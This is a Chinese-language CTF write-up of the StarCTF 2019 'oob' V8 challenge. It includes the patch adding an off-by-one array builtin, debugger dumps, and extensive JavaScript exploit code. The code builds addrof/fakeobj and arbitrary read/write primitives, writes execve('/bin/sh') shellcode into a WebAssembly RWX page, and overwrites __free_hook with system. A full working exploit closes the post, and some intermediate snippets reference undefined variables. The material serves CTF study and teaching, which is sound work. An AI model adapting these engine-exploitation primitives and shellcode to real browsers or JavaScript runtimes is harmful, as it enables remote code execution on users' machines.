starctf oob

前言

这题是starctf2019 oob 的v8漏洞利用题。

题目介绍

从网上的博客里拿到了v8 的diff 文件,按照对应的命令进行patch 和 编译,编译的命令和diff 代码如下:

1
2
3
4
5
6
7
8
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.diff
# 同步模块
gclient sync
# 编译debug版本
tools/dev/v8gen.py x64.debug && ninja -C out.gn/x64.debug d8
# 编译release版本
tools/dev/v8gen.py x64.release && ninja -C out.gn/x64.release d8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:

漏洞分析

从上面的diff 文件可以看到, 新加了一个array的方法叫 oob, 代码中的len 代表了这个oob 方法的入参个数, 如果没有参数就是读操作,其他就是写操作。 代码的问题在于读写的length 出了问题,正常访问数组的最后一个元素,它的长度应该是length - 1, 相当于这里直接变成了越界读写数组后一位。

在TypedArray 中,array的结构体如下(不确定不同版本会不会有变化):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
  elements  ----> +------------------------+
| map +<---------+
+------------------------+ |
| length | |
+------------------------+ |
| element 1 | |
+------------------------+ |
| element 2 | |
| ...... | |
| element n | |
ArrayObject ---->-------------------------+ |
| map | |
+------------------------+ |
| prototype | |
+------------------------+ |
| elements | |
| +----------+
+------------------------+
| length |
+------------------------+
| properties |
+------------------------+

当我们创建一个TypedArray的时候, 实际上是返回了一个ArrayObject 的指针, 这个Object中, map 指向的是这个Object的类型, prototype 指向的是非索引元素, elements 指向索引元素(也就是说可以用数字下标访问),length 代表了数组的长度,但这个length 是SMI 结构的。 properties暂时不太了解。

elements 也有一个类型map和数组长度,后面跟的就是数据了。
根据代码来看,越界读写的数据是ArrayObject 的 map 字段。

我们可以先试着写poc 看一下运行时数据:

1
2
3
4
5
6
7
8
9
10
11
12
// ./d8 --allow-natives-syntax poc.js
var a = [1.1, 2.2];
%DebugPrint(a);
console.log(a.oob());
%SystemBreak();
a.oob(233);
%DebugPrint(a)
%SystemBreak();

//0x2575a884ddf1 <JSArray[2]>
//1.10384958320906e-310
//Trace/breakpoint trap (core dumped)

debug 版本会用DCHECK 确认array 的长度是否越界,所以没法直接触发。
release 的版本,DebugPrint 并没有提供太多的有用信息,只能gdb 调试了。

读别人的博客时发现,编辑out.gn/x64.release/args.gn,打开开关就可以打印信息了。

1
2
3
4
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

启动gdb 调试后, 由于我们知道ArrayObject的地址,我们可以根据这个结构体,直接找到elements 所在的位置,然后 telescope 看一下具体的数据

1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x38b208ecddf8
00:0000│ 0x38b208ecddf8 —▸ 0x2afdf0dc14f9 ◂— 0x2afdf0dc01
01:0008│ 0x38b208ecde00 ◂— 0x200000000
02:0010│ 0x38b208ecde08 ◂— 0x3ff199999999999a
03:0018│ 0x38b208ecde10 ◂— 0x400199999999999a
04:0020│ 0x38b208ecde18 —▸ 0x120242b02ed9 ◂— 0x400002afdf0dc01
05:0028│ 0x38b208ecde20 —▸ 0x2afdf0dc0c71 ◂— 0x2afdf0dc08
06:0030│ 0x38b208ecde28 —▸ 0x38b208ecddf9 ◂— 0x2afdf0dc14
07:0038│ 0x38b208ecde30 ◂— 0x200000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> telescope 0x38b208ecddf8
00:0000│ 0x38b208ecddf8 —▸ 0x2afdf0dc14f9 ◂— 0x2afdf0dc01
01:0008│ 0x38b208ecde00 ◂— 0x200000000
02:0010│ 0x38b208ecde08 ◂— 0x3ff199999999999a
03:0018│ 0x38b208ecde10 ◂— 0x400199999999999a
04:0020│ rbx-1 0x38b208ecde18 ◂— 0x406d200000000000
05:0028│ 0x38b208ecde20 —▸ 0x2afdf0dc0c71 ◂— 0x2afdf0dc08
06:0030│ 0x38b208ecde28 —▸ 0x38b208ecddf9 ◂— 0x2afdf0dc14
07:0038│ 0x38b208ecde30 ◂— 0x200000000
pwndbg> p {double} 0x20ecdd2cde08
$1 = 1.1000000000000001
pwndbg> p {double} 0x20ecdd2cde10
$2 = 2.2000000000000002
pwndbg> p {double} 0x20ecdd2cde18
$3 = 233
// 也可以p/f addr
pwndbg>

结果可以看到,ArrayObject 的map 字段被修改了,也就是说这题考察如果map 相关的利用知识,这就触及到我知识的盲区了。

漏洞利用

map 代表了对象的类型,如果能将不同类型的对象进行修改,就能够达到类型混淆的作用,这个类型混淆利用可以参考以下这就话:

如果我们定义一个FloatArray浮点数数组A,然后定义一个对象数组B。正常情况下,访问A[0]返回的是一个浮点数,访问B[0]返回的是一个对象元素。如果将B的类型修改为A的类型,那么再次访问B[0]时,返回的就不是对象元素B[0],而是B[0]对象元素转换为浮点数即B[0]对象的内存地址了;如果将A的类型修改为B的类型,那么再次访问A[0]时,返回的就不是浮点数A[0],而是以A[0]为内存地址的一个JavaScript对象了. 造成上面的原因在于,v8完全依赖Map类型对js对象进行解析

具体的操作如下:

计算一个对象的地址addressOf:将需要计算内存地址的对象存放到一个对象数组中的A[0],然后利用上述类型混淆漏洞,将对象数组的Map类型修改为浮点数数组的类型,访问A[0]即可得到浮点数表示的目标对象的内存地址。

将一个内存地址伪造为一个对象fakeObject:将需要伪造的内存地址存放到一个浮点数数组中的B[0],然后利用上述类型混淆漏洞,将浮点数数组的Map类型修改为对象数组的类型,那么B[0]此时就代表了以这个内存地址为起始地址的一个JS对象了。

具体利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

let ab = new ArrayBuffer(8);
let farray = new Float64Array(ab);
let uarray = new Uint32Array(ab);

function ftoi(f) {
farray[0] = f;
return [uarray[0],uarray[1]]
}

function itof(lo,hi) {
uarray[0] = lo;
uarray[1] = hi;
return farray[0];
}

var temp_obj = {"A":1};
var obj_arr = [temp_obj];
var fl_arr = [1.1, 1.2, 1.3, 1.4];
var map1 = obj_arr.oob();
var map2 = fl_arr.oob();

function addrof(in_obj) {
obj_arr[0] = in_obj;
obj_arr.oob(map2);
let addr = obj_arr[0];
obj_arr.oob(map1);
return ftoi(addr);
}

function fakeobj(addr) {
float_arr[0] = itof(addr);
float_arr.oob(obj_arr_map);
let fake = float_arr[0];
float_arr.oob(float_arr_map);
return fake;
}

有了这两个方法之后,我们希望能够将其转化为任意地址读写。根据上一篇博客,我们知道有2个地方可以让我们操作, 一个是TypedArray的elements 地址, 一个是ArrayBuffer 的backing_store.

在这题里面,我们只要伪造一个TypedArray 对象就行,然后对这个TypedArray 进行读写操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var fake_array = [
float_array_map,
u2f(0n),
u2f(0x41414141n),
u2f(0x1000000000n),
1.1,
2.2,
];

%DebugPrint(fake_array);
var fake_array_addr = addressOf(fake_array);

console.log("fake_array: " + hex(fake_array_addr));
%SystemBreak();
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
%DebugPrint(fake_object_addr)
var fake_object = fakeObject(fake_object_addr);

pwndbg> telescope 0x2f087e94f7c0-0x40 0x80
00:0000│ 0x2f087e94f780 —▸ 0x3857956c14f9 ◂— 0x3857956c01
01:0008│ 0x2f087e94f788 ◂— 0x600000000
02:0010│ 0x2f087e94f790 —▸ 0x142c8a8c2ed9 ◂— 0x400003857956c01
03:0018│ 0x2f087e94f798 ◂— 0x0
04:0020│ 0x2f087e94f7a0 ◂— 0x41414141 /* 'AAAA' */
05:0028│ 0x2f087e94f7a8 ◂— 0x1000000000
06:0030│ 0x2f087e94f7b0 ◂— 0x3ff199999999999a
07:0038│ 0x2f087e94f7b8 ◂— 0x400199999999999a
08:0040│ 0x2f087e94f7c0 —▸ 0x142c8a8c2ed9 ◂— 0x400003857956c01

这里有个比较有意思的现象,fake_array 里如果不加1.1,2.2 就会执行失败,因为是结构体没有伪造号导致的。

之后对这个fake_obj 进行操作就可以了,因为里面的数据是完全可控的。
另外fake_array 也可以构造成ArrayBuffer 的格式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function read64(addr)
{
fake_array[2] = u2f(addr - 0x10n + 0x1n);
let leak_data = f2u(fake_object[0]);
console.log("[*] leak from: 0x" + hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}

function write64(addr, data)
{
fake_array[2] = u2f(addr - 0x10n + 1n);
fake_object[0] = u2f(data);
console.log("[*] write to: 0x" + hex(addr) + ": 0x" + hex(data));
}

wasm 方式

常见的方式就是加载wasm, 找到rwx的地址,然后通过修改ArrayBuffer的backing_store地址为rwx的地址,将shellcode 写入,然后调用wasm function 就行了。
wasm 找rwx 段(不同版本偏移kennel不一样):

func_addr->shared_info->data->instance + 0x88

由于我们有addrof了, 实际上addr_of(WebAssembly.Instance) 就能够拿到地址了,省去了自己找地址的麻烦。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);

console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr);
data_view.setFloat64(0, u2f(shellcode[0]), true);
data_view.setFloat64(8, u2f(shellcode[1]), true);
data_view.setFloat64(16, u2f(shellcode[2]), true);
//%SystemBreak();
f();

稳定利用方式

v8在生成一个数组对象过程中,会对应着生成一个code对象,这个code对象中存储了和该数组对象相关的构造函数指令,而这些构造函数指令又会去调用d8二进制中的指令地址来完成对数组对象的构造。因此可以用来泄漏d8地址,进而修改got表执行/bin/sh.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
var a = [1.1, 2.2, 3.3];
//%DebugPrint(a);
var code_addr = read64(addressOf(a.constructor) + 0x30n);
var leak_d8_addr = read64(code_addr + 0x41n);
console.log("[*] find leak_d8_addr: 0x" + hex(leak_d8_addr));
// %SystemBreak();

var d8_base_addr = leak_d8_addr - 0xad54e0n;

console.log("[*] find d8_base_addr: 0x" + hex(d8_base_addr));
var free_got_addr = d8_base_addr + 0xd99ec8n
var free_addr = read64(free_got_addr);
console.log("[*] free address: 0x" + hex(free_addr));
var libc_base_addr = free_addr - 0x97950n;
console.log('libcbase' + hex(libc_base_addr));
// %SystemBreak();
var system_addr = libc_base_addr + 0x4f440n;
console.log("[*] system address: 0x" + hex(system_addr));
var free_hook_addr = libc_base_addr + 0x3ed8e8n;
console.log("[*] free_hook address: 0x" + hex(free_hook_addr))

write64_dataview(free_hook_addr, system_addr);

function get_shell()
{
let get_shell_buffer = new ArrayBuffer(0x100);
let get_shell_dataview = new DataView(get_shell_buffer);
get_shell_dataview.setFloat64(0, u2f(0x0068732f6e69622fn), true);
//%DebugPrint(get_shell_dataview);
//%SystemBreak();
}

get_shell();

另外还有一种方法是通过map 找堆地址,然后进一步找程序基址的

1
2
3
4
5
6
var test_addr = addrof(test);
var map_ptr = arb_read(test_addr - 1n);
var map_sec_base = map_ptr - 0x2f79n;
var heap_ptr = arb_read(map_sec_base + 0x18n);
var PIE_leak = arb_read(heap_ptr);
var PIE_base = PIE_leak - 0xd87ea8n;

不稳定利用方式

不稳定的方法和前面的方法差不多,关键在于内存搜索一定的特征,根据特征找d8的地址,进而找到libc等地址,然后进行利用。这部分就不展开了。

完整exp

exp 来自于其他博客,仅供参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

//float -> uint64
function f2u(f)
{
float64[0] = f;
return bigUint64[0];
}

//uint64 -> float
function u2f(u)
{
bigUint64[0] = u;
return float64[0];
}

function hex(u)
{
return u.toString(16).padStart(16, "0");
}

var obj = {"a": 1}
var obj_array = [obj]
var float_array = [1.1]

var obj_array_map = obj_array.oob()
var float_array_map = float_array.oob()

//leaking object's address
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2u(obj_array[0]) - 1n;
//restore the obj map
obj_array.oob(obj_array_map);
return obj_addr;
}

//turn addr to object
function fakeObject(addr_to_fake)
{
float_array[0] = u2f(addr_to_fake + 1n);
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
//restore the float map
float_array.oob(float_array_map);
return faked_obj;
}
var fake_array = [
float_array_map,
u2f(0n),
u2f(0x41414141n),
u2f(0x1000000000n),
1.1
];

%DebugPrint(fake_array);
var fake_array_addr = addressOf(fake_array);

console.log("fake_array: " + hex(fake_array_addr));
var fake_object_addr = fake_array_addr - 0x38n + 0x10n;
// %SystemBreak();
%DebugPrint(fake_object_addr)
var fake_object = fakeObject(fake_object_addr);

function read64(addr)
{
fake_array[2] = u2f(addr - 0x10n + 0x1n);
let leak_data = f2u(fake_object[0]);
console.log("[*] leak from: 0x" + hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}

function write64(addr, data)
{
fake_array[2] = u2f(addr - 0x10n + 1n);
fake_object[0] = u2f(data);
console.log("[*] write to: 0x" + hex(addr) + ": 0x" + hex(data));
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var wasm_instance_addr2 = addressOf(wasmInstance);
%DebugPrint(wasm_instance_addr);
%DebugPrint(wasm_instance_addr2);
var rwx_page_addr = read64(wasm_instance_addr2 + 0x88n);

console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr);
data_view.setFloat64(0, u2f(shellcode[0]), true);
data_view.setFloat64(8, u2f(shellcode[1]), true);
data_view.setFloat64(16, u2f(shellcode[2]), true);
//%SystemBreak();
f();

总结

我又变强了一点点。

引用

引用的文章太多了,但凡带了starctf oob 的博客我都翻了一遍,感谢这些博客:).